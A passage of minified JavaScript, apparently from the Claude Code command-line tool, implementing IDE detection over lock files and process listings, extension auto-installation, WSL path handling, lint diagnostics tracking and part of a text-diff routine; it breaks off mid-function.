$=X,_=Y?.installedVersion,G=O?"plugin":"extension",Z=m6.platform==="darwin"?"Cmd+Option+K":"Ctrl+Alt+K",W;if(K[7]===Symbol.for("react.memo_cache_sentinel"))W=OX.default.createElement(V,{color:"claude"},"✻ "),K[7]=W;else W=K[7];let D;if(K[8]!==$)D=OX.default.createElement(OX.default.Fragment,null,W,OX.default.createElement(V,null,"Welcome to Claude Code for ",$)),K[8]=$,K[9]=D;else D=K[9];let j=_?`installed ${G} v${_}`:void 0,M;if(K[10]===Symbol.for("react.memo_cache_sentinel"))M=OX.default.createElement(V,{color:"suggestion"},"⧉ open files"),K[10]=M;else M=K[10];let P;if(K[11]===Symbol.for("react.memo_cache_sentinel"))P=OX.default.createElement(V,null,"• Claude has context of ",M," ","and ",OX.default.createElement(V,{color:"suggestion"},"⧉ selected lines")),K[11]=P;else P=K[11];let f;if(K[12]===Symbol.for("react.memo_cache_sentinel"))f=OX.default.createElement(V,{color:"diffAddedWord"},"+11"),K[12]=f;else f=K[12];let N;if(K[13]===Symbol.for("react.memo_cache_sentinel"))N=OX.default.createElement(V,null,"• Review Claude Code's changes"," ",f," ",OX.default.createElement(V,{color:"diffRemovedWord"},"-22")," in the comfort of your IDE"),K[13]=N;else N=K[13];let T;if(K[14]===Symbol.for("react.memo_cache_sentinel"))T=OX.default.createElement(V,null,"• Cmd+Esc",OX.default.createElement(V,{dimColor:!0}," for Quick Launch")),K[14]=T;else T=K[14];let C;if(K[15]===Symbol.for("react.memo_cache_sentinel"))C=OX.default.createElement(S,{flexDirection:"column",gap:1},P,N,T,OX.default.createElement(V,null,"• ",Z,OX.default.createElement(V,{dimColor:!0}," to reference files or lines in your input"))),K[15]=C;else C=K[15];let R;if(K[16]!==q||K[17]!==D||K[18]!==j)R=OX.default.createElement(L4,{title:D,subtitle:j,color:"ide",onCancel:q,hideInputGuide:!0},C),K[16]=q,K[17]=D,K[18]=j,K[19]=R;else R=K[19];let x;if(K[20]===Symbol.for("react.memo_cache_sentinel"))x=OX.default.createElement(S,{paddingX:1},OX.default.createElement(V,{dimColor:!0,italic:!0},"Press Enter to continue")),K[20]=x;else x=K[20];let y;if(K[21]!==R)y=OX.default.createElement(OX.default.Fragment,null,R,x),K[21]=R,K[22]=y;else y=K[22];return y}function t$1(){let A=M1(),K=QV.terminal||"unknown";return A.hasIdeOnboardingBeenShown?.[K]===!0}function oLY(){if(t$1())return;let A=QV.terminal||"unknown";D6((K)=>({...K,hasIdeOnboardingBeenShown:{...K.hasIdeOnboardingBeenShown,[A]:!0}}))}var OX;var SM6=k(()=>{cA();mA();iH();z3();C8();i6();Rr();t3();OX=o($A(),1)});import{execFileSync as LD7}from"node:child_process";class AWA{wslDistroName;constructor(A){this.wslDistroName=A}toLocalPath(A){if(!A)return A;if(this.wslDistroName){let K=A.match(/^\\\\wsl(?:\.localhost|\$)\\([^\\]+)(.*)$/);if(K&&K[1]!==this.wslDistroName)return A}try{return LD7("wslpath",["-u",A],{encoding:"utf8",stdio:["pipe","pipe","ignore"]}).trim()}catch{return A.replace(/\\/g,"/").replace(/^([A-Z]):/i,(K,q)=>`/mnt/${q.toLowerCase()}`)}}toIDEPath(A){if(!A)return A;try{return LD7("wslpath",["-w",A],{encoding:"utf8",stdio:["pipe","pipe","ignore"]}).trim()}catch{return A}}}function RD7(A,K){let q=A.match(/^\\\\wsl(?:\.localhost|\$)\\([^\\]+)(.*)$/);if(q)return q[1]===K;return!0}var hM6=()=>{};import{basename as aLY,join as bM6,resolve as K_1,sep as A_1}from"path";import{fileURLToPath as sLY}from"url";import{createConnection as tLY}from"net";function xD7(A){try{return process.kill(A,0),!0}catch{return!1}}async function eLY(A){if(!xD7(A))return!1;if(!M$())return!0;if(process.ppid===A)return!0;return(await Dy4(process.ppid,10)).includes(A)}function q_1(A){if(!A)return!1;let K=KWA[A];return K&&K.ideKind==="vscode"}function UI(A){if(!A)return!1;let K=KWA[A];return K&&K.ideKind==="jetbrains"}function eZA(){if(!M$())return null;return m6.terminal}function Y_1(){try{return ARY().flatMap((q)=>{try{return BA().readdirSync(q).filter((Y)=>Y.name.endsWith(".lock")).map((Y)=>{let z=bM6(q,Y.name);return{path:z,mtime:BA().statSync(z).mtime}})}catch(Y){return KA(Y),[]}}).sort((q,Y)=>Y.mtime.getTime()-q.mtime.getTime()).map((q)=>q.path)}catch(A){return KA(A),[]}}function uD7(A){try{let K=BA().readFileSync(A,{encoding:"utf-8"}),q=[],Y,z,w=!1,H=!1,J;try{let $=G6(K);if($.workspaceFolders)q=$.workspaceFolders;Y=$.pid,z=$.ideName,w=$.transport==="ws",H=$.runningInWindows===!0,J=$.authToken}catch($){q=K.split(` `).map((_)=>_.trim())}let O=A.split(A_1).pop();if(!O)return null;let X=O.replace(".lock","");return{workspaceFolders:q,port:parseInt(X),pid:Y,ideName:z,useWebSocket:w,runningInWindows:H,authToken:J}}catch(K){return KA(K),null}}async function xM6(A,K,q=500){try{return new Promise((Y)=>{let z=tLY({host:A,port:K,timeout:q});z.on("connect",()=>{z.destroy(),Y(!0)}),z.on("error",()=>{Y(!1)}),z.on("timeout",()=>{z.destroy(),Y(!1)})})}catch(Y){return!1}}function ARY(){let A=[],K=BA(),q=o6(),Y=bM6(w8(),"ide");if(K.existsSync(Y))A.push(Y);if(q!=="wsl")return A;let z=process.env.USERPROFILE;if(!z)try{let w=eW("powershell.exe -Command '$env:USERPROFILE'");if(w)z=w.trim()}catch{h("Unable to get Windows USERPROFILE via PowerShell - IDE detection may be incomplete")}if(z){let H=new AWA(process.env.WSL_DISTRO_NAME).toLocalPath(z),J=K_1(H,".claude","ide");if(K.existsSync(J))A.push(J)}try{if(K.existsSync("/mnt/c/Users")){let H=K.readdirSync("/mnt/c/Users");for(let J of H){if(J.name==="Public"||J.name==="Default"||J.name==="Default User"||J.name==="All Users")continue;let O=bM6("/mnt/c/Users",J.name,".claude","ide");if(K.existsSync(O))A.push(O)}}}catch(w){KA(w instanceof Error?w:Error(String(w)))}return A}async function KRY(){try{let A=Y_1();for(let K of A){let q=uD7(K);if(!q){try{BA().unlinkSync(K)}catch(w){KA(w)}continue}let Y=await dD7(q.runningInWindows,q.port),z=!1;if(q.pid){if(!xD7(q.pid)){if(o6()!=="wsl")z=!0;else if(!await xM6(Y,q.port))z=!0}}else if(!await xM6(Y,q.port))z=!0;if(z)try{BA().unlinkSync(K)}catch(w){KA(w)}}}catch(A){KA(A)}}async function YRY(A){try{let K=await wRY(A);if(n("tengu_ext_installed",{}),!M1().diffTool)D6((Y)=>({...Y,diffTool:"auto"}));return{installed:!0,error:null,installedVersion:K,ideType:A}}catch(K){n("tengu_ext_install_error",{});let q=K instanceof Error?K.message:String(K);return KA(K),{installed:!1,error:q,installedVersion:null,ideType:A}}}async function yD7(){if(e$1)e$1.abort();e$1=e7();let A=e$1.signal;await KRY();let K=Date.now();while(Date.now()-K<30000&&!A.aborted){let q=await aBA(!1);if(A.aborted)return null;if(q.length===1)return q[0];await new Promise((Y)=>setTimeout(Y,1000))}return null}async function aBA(A){let K=[];try{let q=process.env.CLAUDE_CODE_SSE_PORT,Y=q?parseInt(q):null,z=V8(),w=Y_1();for(let H of w){let J=uD7(H);if(!J)continue;if(o6()!=="wsl"&&M$()){if(!(J.pid?await eLY(J.pid):!1))continue}let O=!1;if(process.env.CLAUDE_CODE_IDE_SKIP_VALID_CHECK==="true")O=!0;else if(J.port===Y)O=!0;else O=J.workspaceFolders.some((G)=>{if(!G)return!1;let Z=G;if(o6()==="wsl"&&J.runningInWindows&&process.env.WSL_DISTRO_NAME){if(!RD7(G,process.env.WSL_DISTRO_NAME))return!1;let D=K_1(Z);if(z===D||z.startsWith(D+A_1))return!0;Z=new AWA(process.env.WSL_DISTRO_NAME).toLocalPath(G)}let W=K_1(Z);if(o6()==="windows"){let D=z.replace(/^[a-zA-Z]:/,(M)=>M.toUpperCase()),j=W.replace(/^[a-zA-Z]:/,(M)=>M.toUpperCase());return D===j||D.startsWith(j+A_1)}return z===W||z.startsWith(W+A_1)});if(!O&&!A)continue;let X=J.ideName??(M$()?O0(QV.terminal):"IDE"),$=await dD7(J.runningInWindows,J.port),_;if(J.useWebSocket)_=`ws://${$}:${J.port}`;else _=`http://${$}:${J.port}/sse`;K.push({url:_,name:X,workspaceFolders:J.workspaceFolders,port:J.port,isValid:O,authToken:J.authToken,ideRunningInWindows:J.runningInWindows})}if(!A&&Y){let H=K.filter((J)=>J.isValid&&J.port===Y);if(H.length===1)return H}}catch(q){KA(q)}return K}async function TD7(A){await A.notification({method:"ide_connected",params:{pid:process.pid}})}function z_1(A){return A.some((K)=>K.type==="connected"&&K.name==="ide")}async function ID7(A){if(q_1(A)){let K=BD7(A);if(K)try{if((await A7(K,["--list-extensions"],{env:BM6()})).stdout?.includes(zRY))return!0}catch{}}else if(UI(A))return RM6(A);return!1}async function wRY(A){if(q_1(A)){let K=BD7(A);if(K){let q=await HRY(K);if(!q||bD7.lt(q,SD7())){await new Promise((z)=>{setTimeout(z,500)});let Y=await A7(K,["--force","--install-extension","anthropic.claude-code"],{env:BM6()});if(Y.code!==0)throw Error(`${Y.code}: ${Y.error} ${Y.stderr}`);q=SD7()}return q}}return null}function BM6(){if(o6()==="linux")return{...process.env,DISPLAY:""};return}function SD7(){return{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION}async function HRY(A){let{stdout:K}=await R6(A,["--list-extensions","--show-versions"],{env:BM6()}),q=K?.split(` `)||[];for(let Y of q){let[z,w]=Y.split("@");if(z==="anthropic.claude-code"&&w)return w}return null}function JRY(){try{if(o6()!=="macos")return null;let K=process.ppid;for(let q=0;q<10;q++){if(!K||K===0||K===1)break;let Y=eW(`ps -o command= -p ${K}`)?.trim();if(Y){let w={"Visual Studio Code.app":"code","Cursor.app":"cursor","Windsurf.app":"windsurf","Visual Studio Code - Insiders.app":"code","VSCodium.app":"codium"},H="/Contents/MacOS/Electron";for(let[J,O]of Object.entries(w)){let X=Y.indexOf(J+"/Contents/MacOS/Electron");if(X!==-1){let $=X+J.length;return Y.substring(0,$)+"/Contents/Resources/app/bin/"+O}}}let z=eW(`ps -o ppid= -p ${K}`)?.trim();if(!z)break;K=parseInt(z.trim())}return null}catch{return null}}function BD7(A){let K=JRY();if(K){if(BA().existsSync(K))return K}switch(A){case"vscode":return"code";case"cursor":return"cursor";case"windsurf":return"windsurf";default:break}return null}async function mD7(){return(await R6("cursor",["--version"])).code===0}async function gD7(){return(await R6("windsurf",["--version"])).code===0}async function FD7(){let A=await R6("code",["--help"]);return A.code===0&&Boolean(A.stdout?.includes("Visual Studio Code"))}async function ORY(){let A=[];try{let K=o6();if(K==="macos"){let Y=(await wY('ps aux | grep -E "Visual Studio Code|Code Helper|Cursor Helper|Windsurf Helper|IntelliJ IDEA|PyCharm|WebStorm|PhpStorm|RubyMine|CLion|GoLand|Rider|DataGrip|AppCode|DataSpell|Aqua|Gateway|Fleet|Android Studio" | grep -v grep',{shell:!0,reject:!1})).stdout??"";for(let[z,w]of Object.entries(KWA))for(let H of w.processKeywordsMac)if(Y.includes(H)){A.push(z);break}}else if(K==="windows"){let z=((await wY('tasklist | findstr /I "Code.exe Cursor.exe Windsurf.exe idea64.exe pycharm64.exe webstorm64.exe phpstorm64.exe rubymine64.exe clion64.exe goland64.exe rider64.exe datagrip64.exe appcode.exe dataspell64.exe aqua64.exe gateway64.exe fleet.exe studio64.exe"',{shell:!0,reject:!1})).stdout??"").toLowerCase();for(let[w,H]of Object.entries(KWA))for(let J of H.processKeywordsWindows)if(z.includes(J.toLowerCase())){A.push(w);break}}else if(K==="linux"){let z=((await wY('ps aux | grep -E "code|cursor|windsurf|idea|pycharm|webstorm|phpstorm|rubymine|clion|goland|rider|datagrip|dataspell|aqua|gateway|fleet|android-studio" | grep -v grep',{shell:!0,reject:!1})).stdout??"").toLowerCase();for(let[w,H]of Object.entries(KWA))for(let J of H.processKeywordsLinux)if(z.includes(J)){if(w!=="vscode"){A.push(w);break}else if(!z.includes("cursor")&&!z.includes("appcode")){A.push(w);break}}}}catch(K){KA(K)}return A}async function mM6(){let A=await ORY();return uM6=A,A}async function QD7(){if(uM6===null)return mM6();return uM6}function w_1(A){let K=A.find((q)=>q.type==="connected"&&q.name==="ide");return gM6(K)}function gM6(A){let K=A?.config;return K?.type==="sse-ide"||K?.type==="ws-ide"?K.ideName:M$()?O0(QV.terminal):null}function O0(A){if(!A)return"IDE";let K=KWA[A];if(K)return K.displayName;let q=hD7[A.toLowerCase().trim()];if(q)return q;let Y=A.split(" ")[0],z=Y?aLY(Y).toLowerCase():null;if(z){let w=hD7[z];if(w)return w;return ng(z)}return ng(A)}function Nf(A){if(!A)return;let K=A.find((q)=>q.type==="connected"&&q.name==="ide");return K?.type==="connected"?K:void 0}async function UD7(A){try{await fp("closeAllDiffTabs",{},A)}catch(K){}}async function pD7(A,K,q,Y){yD7().then(A);let z=M1().autoInstallIdeExtension??!0;if(process.env.CLAUDE_CODE_IDE_SKIP_AUTO_INSTALL!=="true"&&z){let w=K??eZA();if(w){if(q_1(w))ID7(w).then(async(H)=>{YRY(w).catch((J)=>{return{installed:!1,error:J.message||"Installation failed",installedVersion:null,ideType:w}}).then((J)=>{if(Y(J),J?.installed)yD7().then(A);if(!H&&J?.installed===!0&&!t$1())q()})});else if(UI(w)&&!t$1())ID7(w).then(async(H)=>{if(H)q()})}}}var bD7,KWA,rBA,oBA,M$,qRY,UYH,e$1=null,zRY="anthropic.claude-code",uM6=null,hD7,dD7;var iH=k(()=>{z3();l6();Z91();CK();rP();i6();l1();nTA();p7();q6();e6();C1();B5();Vf();yM6();SM6();hM6();Z1();Jz();Rr();b1();bD7=o(hy(),1);KWA={cursor:{ideKind:"vscode",displayName:"Cursor",processKeywordsMac:["Cursor Helper","Cursor.app"],processKeywordsWindows:["cursor.exe"],processKeywordsLinux:["cursor"]},windsurf:{ideKind:"vscode",displayName:"Windsurf",processKeywordsMac:["Windsurf Helper","Windsurf.app"],processKeywordsWindows:["windsurf.exe"],processKeywordsLinux:["windsurf"]},vscode:{ideKind:"vscode",displayName:"VS Code",processKeywordsMac:["Visual Studio Code","Code Helper"],processKeywordsWindows:["code.exe"],processKeywordsLinux:["code"]},intellij:{ideKind:"jetbrains",displayName:"IntelliJ IDEA",processKeywordsMac:["IntelliJ IDEA"],processKeywordsWindows:["idea64.exe"],processKeywordsLinux:["idea","intellij"]},pycharm:{ideKind:"jetbrains",displayName:"PyCharm",processKeywordsMac:["PyCharm"],processKeywordsWindows:["pycharm64.exe"],processKeywordsLinux:["pycharm"]},webstorm:{ideKind:"jetbrains",displayName:"WebStorm",processKeywordsMac:["WebStorm"],processKeywordsWindows:["webstorm64.exe"],processKeywordsLinux:["webstorm"]},phpstorm:{ideKind:"jetbrains",displayName:"PhpStorm",processKeywordsMac:["PhpStorm"],processKeywordsWindows:["phpstorm64.exe"],processKeywordsLinux:["phpstorm"]},rubymine:{ideKind:"jetbrains",displayName:"RubyMine",processKeywordsMac:["RubyMine"],processKeywordsWindows:["rubymine64.exe"],processKeywordsLinux:["rubymine"]},clion:{ideKind:"jetbrains",displayName:"CLion",processKeywordsMac:["CLion"],processKeywordsWindows:["clion64.exe"],processKeywordsLinux:["clion"]},goland:{ideKind:"jetbrains",displayName:"GoLand",processKeywordsMac:["GoLand"],processKeywordsWindows:["goland64.exe"],processKeywordsLinux:["goland"]},rider:{ideKind:"jetbrains",displayName:"Rider",processKeywordsMac:["Rider"],processKeywordsWindows:["rider64.exe"],processKeywordsLinux:["rider"]},datagrip:{ideKind:"jetbrains",displayName:"DataGrip",processKeywordsMac:["DataGrip"],processKeywordsWindows:["datagrip64.exe"],processKeywordsLinux:["datagrip"]},appcode:{ideKind:"jetbrains",displayName:"AppCode",processKeywordsMac:["AppCode"],processKeywordsWindows:["appcode.exe"],processKeywordsLinux:["appcode"]},dataspell:{ideKind:"jetbrains",displayName:"DataSpell",processKeywordsMac:["DataSpell"],processKeywordsWindows:["dataspell64.exe"],processKeywordsLinux:["dataspell"]},aqua:{ideKind:"jetbrains",displayName:"Aqua",processKeywordsMac:[],processKeywordsWindows:["aqua64.exe"],processKeywordsLinux:[]},gateway:{ideKind:"jetbrains",displayName:"Gateway",processKeywordsMac:[],processKeywordsWindows:["gateway64.exe"],processKeywordsLinux:[]},fleet:{ideKind:"jetbrains",displayName:"Fleet",processKeywordsMac:[],processKeywordsWindows:["fleet.exe"],processKeywordsLinux:[]},androidstudio:{ideKind:"jetbrains",displayName:"Android Studio",processKeywordsMac:["Android Studio"],processKeywordsWindows:["studio64.exe"],processKeywordsLinux:["android-studio"]}};rBA=z6(()=>{return q_1(m6.terminal)}),oBA=z6(()=>{return UI(QV.terminal)}),M$=z6(()=>{return rBA()||oBA()||Boolean(process.env.FORCE_CODE_TERMINAL)});qRY=sLY(import.meta.url),UYH=K_1(qRY,"../");hD7={code:"VS Code",cursor:"Cursor",windsurf:"Windsurf",antigravity:"Antigravity",vi:"Vim",vim:"Vim",nano:"nano",notepad:"Notepad","start /wait notepad":"Notepad",emacs:"Emacs",subl:"Sublime Text",atom:"Atom"};dD7=z6(async(A,K)=>{if(process.env.CLAUDE_CODE_IDE_HOST_OVERRIDE)return process.env.CLAUDE_CODE_IDE_HOST_OVERRIDE;if(o6()!=="wsl"||!A)return"127.0.0.1";try{let q=await wY("ip route show | grep -i default",{shell:!0,reject:!1});if(q.exitCode===0&&q.stdout){let Y=q.stdout.match(/default via (\d+\.\d+\.\d+\.\d+)/);if(Y){let z=Y[1];if(await xM6(z,K))return z}}}catch(q){}return"127.0.0.1"})});function W_(A){return typeof A==="object"&&A!==null&&"type"in A&&A.type==="in_process_teammate"}function OB(A){let{viewingAgentTaskId:K,tasks:q}=A;if(!K)return;let Y=q[K];if(!Y)return;if(!W_(Y))return;return Y}function cD7(A){let K=OB(A);if(K)return{type:"viewed",task:K};return{type:"leader"}}function lD7(A){return OB(A)!==void 0}var qWA=()=>{};class pI{static instance;baseline=new Map;initialized=!1;mcpClient;lastProcessedTimestamps=new Map;rightFileDiagnosticsState=new Map;static getInstance(){if(!pI.instance)pI.instance=new pI;return pI.instance}initialize(A){if(this.initialized)return;this.mcpClient=A,this.initialized=!0}async shutdown(){this.initialized=!1,this.baseline.clear()}reset(){this.baseline.clear(),this.rightFileDiagnosticsState.clear()}normalizeFileUri(A){let K=["file://","_claude_fs_right:","_claude_fs_left:"],q=A;for(let Y of K)if(A.startsWith(Y)){q=A.slice(Y.length);break}return H_1(q)}async ensureFileOpened(A){if(!this.initialized||!this.mcpClient||this.mcpClient.type!=="connected")return;try{await fp("openFile",{filePath:A,preview:!1,startText:"",endText:"",selectToEndOfLine:!1,makeFrontmost:!1},this.mcpClient)}catch(K){KA(K)}}async beforeFileEdited(A){if(!this.initialized||!this.mcpClient||this.mcpClient.type!=="connected")return;let K=Date.now();try{let q=await fp("getDiagnostics",{uri:`file://${A}`},this.mcpClient),Y=this.parseDiagnosticResult(q)[0];if(Y){if(!rD7(this.normalizeFileUri(A),this.normalizeFileUri(Y.uri))){KA(new nD7(`Diagnostics file path mismatch: expected ${A}, got ${Y.uri})`));return}let z=this.normalizeFileUri(A);this.baseline.set(z,Y.diagnostics),this.lastProcessedTimestamps.set(z,K)}else{let z=this.normalizeFileUri(A);this.baseline.set(z,[]),this.lastProcessedTimestamps.set(z,K)}}catch(q){}}async getNewDiagnostics(){if(!this.initialized||!this.mcpClient||this.mcpClient.type!=="connected")return[];let A=[];try{let z=await fp("getDiagnostics",{},this.mcpClient);A=this.parseDiagnosticResult(z)}catch(z){return[]}let K=A.filter((z)=>this.baseline.has(this.normalizeFileUri(z.uri))).filter((z)=>z.uri.startsWith("file://")),q=new Map;A.filter((z)=>this.baseline.has(this.normalizeFileUri(z.uri))).filter((z)=>z.uri.startsWith("_claude_fs_right:")).forEach((z)=>{q.set(this.normalizeFileUri(z.uri),z)});let Y=[];for(let z of K){let w=this.normalizeFileUri(z.uri),H=this.baseline.get(w)||[],J=q.get(w),O=z;if(J){let $=this.rightFileDiagnosticsState.get(w);if(!$||!this.areDiagnosticArraysEqual($,J.diagnostics))O=J;this.rightFileDiagnosticsState.set(w,J.diagnostics)}let X=O.diagnostics.filter(($)=>!H.some((_)=>this.areDiagnosticsEqual($,_)));if(X.length>0)Y.push({uri:z.uri,diagnostics:X});this.baseline.set(w,O.diagnostics)}return Y}parseDiagnosticResult(A){if(Array.isArray(A)){let K=A.find((q)=>q.type==="text");if(K&&"text"in K)return G6(K.text)}return[]}areDiagnosticsEqual(A,K){return A.message===K.message&&A.severity===K.severity&&A.source===K.source&&A.code===K.code&&A.range.start.line===K.range.start.line&&A.range.start.character===K.range.start.character&&A.range.end.line===K.range.end.line&&A.range.end.character===K.range.end.character}areDiagnosticArraysEqual(A,K){if(A.length!==K.length)return!1;return A.every((q)=>K.some((Y)=>this.areDiagnosticsEqual(q,Y)))&&K.every((q)=>A.some((Y)=>this.areDiagnosticsEqual(Y,q)))}isLinterDiagnostic(A){let K=["eslint","eslint-plugin","tslint","prettier","stylelint","jshint","standardjs","xo","rome","biome","deno-lint","rubocop","pylint","flake8","black","ruff","clippy","rustfmt","golangci-lint","gofmt","swiftlint","detekt","ktlint","checkstyle","pmd","sonarqube","sonarjs"];if(!A.source)return!1;let q=A.source.toLowerCase();return K.some((Y)=>q.includes(Y))}async handleQueryStart(A){if(!this.initialized){let K=Nf(A);if(K)this.initialize(K)}else this.reset()}static formatDiagnosticsSummary(A){let q=A.map((Y)=>{let z=Y.uri.split("/").pop()||Y.uri,w=Y.diagnostics.map((H)=>{return` ${pI.getSeveritySymbol(H.severity)} [Line ${H.range.start.line+1}:${H.range.start.character+1}] ${H.message}${H.code?` [${H.code}]`:""}${H.source?` (${H.source})`:""}`}).join(` `);return`${z}: ${w}`}).join(` `);if(q.length>iD7)return q.slice(0,iD7-12)+"…[truncated]";return q}static getSeveritySymbol(A){return{Error:eA.cross,Warning:eA.warning,Info:eA.info,Hint:eA.star}[A]||eA.bullet}}var nD7,iD7=4000,Tp;var QqA=k(()=>{Vf();iH();C1();iw();g4();b1();YK();nD7=class nD7 extends uTA{};Tp=pI.getInstance()});function dI(){}function oD7(A,K,q,Y,z){var w=[],H;while(K)w.push(K),H=K.previousComponent,delete K.previousComponent,K=H;w.reverse();var J=0,O=w.length,X=0,$=0;for(;J<O;J++){var _=w[J];if(!_.removed){if(!_.added&&z){var G=q.slice(X,X+_.count);G=G.map(function(Z,W){var D=Y[$+W];return D.length>Z.length?D:Z}),_.value=A.join(G)}else _.value=A.join(q.slice(X,X+_.count));if(X+=_.count,!_.added)$+=_.count}else _.value=A.join(Y.slice($,$+_.count)),$+=_.count}return w}function aD7(A,K){var q;for(q=0;q<A.length&&q<K.length;q++)if(A[q]!=K[q])return A.slice(0,q);return A.slice(0,q)}function sD7(A,K){var q;if(!A||!K||A[A.length-1]!=K[K.length-1])return"";for(q=0;q<A.length&&q<K.length;q++)if(A[A.length-(q+1)]!=K[K.length-(q+1)])return A.slice(-q);return A.slice(-q)}function QM6(A,K,q){if(A.slice(0,K.length)!=K)throw Error("string ".concat(JSON.stringify(A)," doesn't start with prefix ").concat(JSON.stringify(K),"; this is a bug"));return q+A.slice(K.length)}function UM6(A,K,q){if(!K)return A+q;if(A.slice(-K.length)!=K)throw Error("string ".concat(JSON.stringify(A)," doesn't end with suffix ").concat(JSON.stringify(K),"; this is a bug"));return A.slice(0,-K.length)+q}function sBA(A,K){return QM6(A,K,"")}function J_1(A,K){return UM6(A,K,"")}function tD7(A,K){return K.slice(0,XRY(A,K))}function XRY(A,K){var q=0;if(A.length>K.length)q=A.length-K.length;var Y=K.length;if(A.length<K.length)Y=A.length;var z=Array(Y),w=0;z[0]=0;for(var H=1;H<Y;H++){if(K[H]==K[w])z[H]=z[w];else z[H]=w;while(w>0&&K[H]!=K[w])w=z[w];if(K[H]==K[w])w++}w=0;for(var J=q;J<A.length;J++){while(w>0&&A[J]!=K[w])w=z[w];if(A[J]==K[w])w++}return w}function eD7(A,K,q,Y){if(K&&q){var z=K.value.match(/^\s*/)[0],w=K.value.match(/\s*$/)[0],H=q.value.match(/^\s*/)[0],J=q.value.match(/\s*$/)[0];if(A){var O=aD7(z,H);A.value=UM6(A.value,H,O),K.value=sBA(K.value,O),q.value=sBA(q.value,O)}if(Y){var X=sD7(w,J);Y.value=QM6(Y.value,J,X),K.value=J_1(K.value,X),q.value=J_1(q.value,X)}}else if(q){if(A)q.value=q.value.replace(/^\s*/,"");if(Y)Y.value=Y.value.replace(/^\s*/,"")}else if(A&&Y){var $=Y.value.match(/^\s*/)[0],_=K.value.match(/^\s*/)[0],G=K.value.match(/\s*$/)[0],Z=aD7($,_);K.value=sBA(K.value,Z);var W=sD7(sBA($,Z),G);K.value=J_1(K.value,W),Y.value=QM6(Y.value,$,W),A.value=UM6(A.value,$,$.slice(0,$.length-W.length))}else if(Y){var D=Y.value.match(/^\s*/)[0],j=K.value.match(/\s*$/)[0],M=tD7(j,D);K.value=J_1(K.value,M)}else if(A){var P=A.value.match(/\s*$/)[0],f=K.value.match(/^\s*/)[0],N=tD7(P,f);K.value=sBA(K.value,N)}}function Yj7(A,K,q){return qj7.diff(A,K,q)}function X_1(A,K,q){return __1.diff(A,K,q)}function Aj7(A,K){var q=Object.keys(A);if(Object.getOwnPropertySymbols){var Y=Object.getOwnPropertySymbols(A);K&&(Y=Y.filter(function(z){return Object.getOwnPropertyDescriptor(A,z).enumerable})),q.push.apply(q,Y)}return q}function Kj7(A){for(var K=1;K<arguments.length;K++){var q=arguments[K]!=null?arguments[K]:{};K%2?Aj7(Object(q),!0).forEach(function(Y){DRY(A,Y,q[Y])}):Object.getOwnPropertyDescriptors?Object.defineProperties(A,Object.getOwnPropertyDescriptors(q)):Aj7(Object(q)).forEach(function(Y){Object.defineProperty(A,Y,Object.getOwnPropertyDescriptor(q,Y))})}return A}function ZRY(A,K){if(typeof A!="object"||!A)return A;var q=A[Symbol.toPrimitive];if(q!==void 0){var Y=q.call(A,K||"default");if(typeof Y!="object")return Y;throw TypeError("@@toPrimitive must return a primitive value.")}return(K==="string"?String:Number)(A)}function WRY(A){var K=ZRY(A,"string");return typeof K=="symbol"?K:K+""}function pM6(A){return pM6=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(K){return typeof K}:function(K){return K&&typeof Symbol=="function"&&K.constructor===Symbol&&K!==Symbol.prototype?"symbol":typeof K},pM6(A)}function DRY(A,K,q){if(K=WRY(K),K in A)Object.defineProperty(A,K,{value:q,enumerable:!0,configurable:!0,writable:!0});else A[K]=q;return A}function FM6(A){return jRY(A)||MRY(A)||PRY(A)||VRY()}function jRY(A){if(Array.isArray(A))return dM6(A)}function MRY(A){if(typeof Symbol<"u"&&A[Symbol.iterator]!=null||A["@@iterator"]!=null)return Array.from(A)}function PRY(A,K){if(!A)return;if(typeof A==="string")return dM6(A,K);var q=Object.prototype.toString.call(A).slice(8,-1);if(q==="Object"&&A.constructor)q=A.constructor.name;if(q==="Map"||q==="Set")return Array.from(A);if(q==="Arguments"||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(q))return dM6(A,K)}function dM6(A,K){if(K==null||K>A.length)K=A.length;for(var q=0,Y=Array(K);q<K;q++)Y[q]=A[q];return Y}function VRY(){throw TypeError(`Invalid attempt to spread non-iterable instance. In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function cM6(A,K,q,Y,z){if(K=K||[],q=q||[],Y)A=Y(z,A);var w;for(w=0;w<K.length;w+=1)if(K[w]===A)return q[w];var H;if(Object.prototype.toString.call(A)==="[object Array]"){K.push(A),H=Array(A.length),q.push(H);for(w=0;w<A.length;w+=1)H[w]=cM6(A[w],K,q,Y,z);return K.pop(),q.pop(),H}if(A&&A.toJSON)A=A.toJSON();if(pM6(A)==="object"&&A!==null){K.push(A),H={},q.push(H);var J=[],O;for(O in A)if(Object.prototype.hasOwnProperty.call(A,O))J.push(O);J.sort();for(w=0;w<J.length;w+=1)O=J[w],H[O]=cM6(A[O],K,q,Y,O);K.pop(),q.pop()}else H=A;return H}function eBA(A,K,q,Y,z,w,H){if(!H)H={};if(typeof H==="function")H={callback:H};if(typeof H.context>"u")H.context=4;if(H.newlineIsToken)throw Error("newlineIsToken may not be used with patch-generation functions, only with diffing functions");if(!H.callback)return X(X_1(q,Y,H));else{var J=H,O=J.callback;X_1(q,Y,Kj7(Kj7({},H),{},{callback:function(_){var G=X(_);O(G)}}))}function X($){if(!$)return;$.push({value:"",lines:[]});function _(x){return x.map(function(y){return" "+y})}var G=[],Z=0,W=0,D=[],j=1,M=1,P=function(){var y=$[f],B=y.lines||fRY(y.value);if(y.lines=B,y.added||y.removed){var b;if(!Z){var F=$[f-1];if(Z=j,W=M,F)D=H.context>0?_(F.lines.slice(-H.context)):[],Z-=D.length,W-=D.length}if((b=D).push.apply(b,FM6(B.map(function(c){return(y.added?"+":"-")+c}))),y.added)M+=B.length;else j+=B.length}else{if(Z)if(B.length<=H.context*2&&f<$.length-2){var Q;(Q=D).push.apply(Q,FM6(_(B)))}else{var u,d=Math.min(B.length,H.context);(u=D).push.apply(u,FM6(_(B.slice(0,d))));var r={oldStart:Z,oldLines:j-Z+d,newStart:W,newLines:M-W+d,lines:D};G.push(r),Z=0,W=0,D=[]}j+=B.length,M+=B.length}};for(var f=0;f<$.length;f++)P();for(var N=0,T=G;N<T.length;N++){var C=T[N];for(var 